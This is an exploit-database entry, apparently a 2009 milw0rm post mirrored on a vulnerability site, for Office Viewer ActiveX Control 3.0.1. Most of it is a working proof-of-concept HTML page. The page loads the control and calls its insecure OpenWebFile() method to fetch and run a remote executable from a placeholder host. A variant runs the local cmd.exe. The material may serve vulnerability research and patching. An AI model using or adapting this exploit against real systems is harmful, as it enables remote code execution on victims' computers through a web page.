Office Viewer ActiveX Control 3.0.1 - Remote File Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Office Viewer ActiveX Control 3.0.1 Remote File Executio


                                                =======================================================================================&#60;br&#62;
Author: Houssamix									   &#60;br&#62;
=======================================================================================&#60;br&#62;

 Office Viewer ActiveX Control v 3.0.1 Remote File execution exploit		&#60;br&#62;
 download : http://www.anydraw.com/download/EOfficeOCX.exe &#60;br&#62;


 Tested on Windows XP Professional SP2 , with Internet Explorer 6	&#60;br&#62;&#60;br&#62;

description : this use to insecure methods &#34;OpenWebFile()&#34; for execute remote file in pc victime &#60;br&#62;
u can also execute a local file in pc victime usign this methode &#34;Open()&#34; , just change the function  do_it with this : &#60;b&#62;
function Do_it()
 {
   File = &#34;c:\\windows\\system32\\cmd.exe&#34;
   hsmx.OpenWebFile(File)
 }
 &#60;br&#62;
=======================================================================================&#60;br&#62;
&#60;HTML&#62;
&#60;BODY&#62;
 &#60;object id=hsmx classid=&#34;clsid:{97AF4A45-49BE-4485-9F55-91AB40F288F2}&#34;&#62;&#60;/object&#62;

&#60;SCRIPT&#62;

function Do_it()
 {
   File = &#34;http://test.com/file.exe&#34;
   hsmx.OpenWebFile(File)
 }


&#60;/SCRIPT&#62;
&#60;input language=JavaScript onclick=Do_it() type=button value=&#34;exploit&#34;&#62;

&#60;/body&#62;
&#60;/HTML&#62;

# milw0rm.com [2009-01-13]

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1